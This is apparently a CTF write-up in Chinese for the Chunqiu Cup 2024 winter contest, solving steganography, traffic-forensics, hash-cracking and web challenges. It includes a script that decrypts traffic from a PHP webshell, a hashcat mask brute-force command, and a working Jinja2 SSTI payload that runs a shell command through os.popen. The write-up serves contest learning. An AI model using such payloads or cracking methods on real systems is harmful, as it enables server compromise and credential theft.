春秋杯 2024 冬季 WriteUp
说在前面
被拉出去练了两天车,成人干了。
基本上都是早上打的比赛,没多少时间去做题,有些需要时间的题就没有去做。
春秋这个平台恶心的一点就是赛后不开环境去复现,这里就凭记忆写点 wp 吧。
Misc
See anything in these pics
扫描 aztec.png 可以得到压缩包密码。
解压得到的图片内藏了另一张图片, 010 提取 。
发现全黑,注意到图片的 CRC 有问题,用脚本算宽高得到原始宽高为 1440x1800 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import os import binascii import struct
crc = open("1.png","rb").read()
for i in range(8192): for j in range(8192): data = crc[12:16] + \ struct.pack('>i', i)+struct.pack('>i', j)+crc[24:29] crc32 = binascii.crc32(data) & 0xffffffff if(crc32 == 0xEF1B39BE): print(i, j) print('Hex:', hex(i), hex(j))
|
改宽高,图片中得到 flag 。
简单镜像提取
流量包里提取出镜像文件,使用 R-Studio 恢复得到一个 xlsx 。
打开即可得到 flag 。
音频的秘密
题目给了一个 wav 文件,频谱没毛病,大概率 Deepsound 。
有密码, hint 提示是弱口令,爆破出密码是 123
.
提取出来一个压缩包,藏了一张 png 图片,带加密,爆破不出。
注意到加密方式为 ZipCrypto Store
。可以使用明文破解。
破解得到 png 是 lsb 隐写,提取即可得到 flag 。
Weevil’s Whisper
分析流量包,注意到一个🐎
分析🐎的利用方式,可以整一个脚本解密流量包中传的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| import base64 import zlib import sys k = b"161ebd7d" kh = "45089b3446ee" kf = "4e0d86dbcf92" p = "lFDu8RwONqmag5ex" def xor_decrypt(data, key): key_len = len(key) decrypted_data = bytearray() for i in range(len(data)): decrypted_data.append(data[i] ^ key[i % key_len]) return decrypted_data.decode('latin1') def decompress(payload): try: decompressed_data = zlib.decompress(payload) print("Decompressed Payload:") print(decompressed_data.decode('utf-8', errors='ignore')) return decompressed_data except Exception as e: print(f"Error decompressing payload: {e}") return None def main(): if len(sys.argv) != 2: print("Usage: python decrypt_backdoor.py <encoded_payload>") sys.exit(1) encoded_payload = sys.argv[1].replace(p, '').replace(kh, '').replace(kf, '') decoded_payload = base64.b64decode(encoded_payload) decrypted_payload = xor_decrypt(decoded_payload, k) result = decompress(decrypted_payload.encode('latin1')) if __name__ == "__main__": main()
|
在包 289 发现 flag .
flag{arsjxh-sjhxbr-3rdd78dfsh-3ndidjl}
Crypto
通往哈希的旅程
hashcat 掩码爆破即可。
1
| hashcat -a 3 -m 100 ca12fd8250972ec363a16593356abb1f3cf3a16d 188?d?d?d?d?d?d?d?d
|
Web
easy_flask
最简单的 jinja2 ssti .
{{lipsum.__globals__['o'+'s']['pop''en']('cat flag').read()}}
打过去得到 flag 。
easy_php (复现)
原题:[SWPUCTF 2018]SimplePHP
改一下类名即可。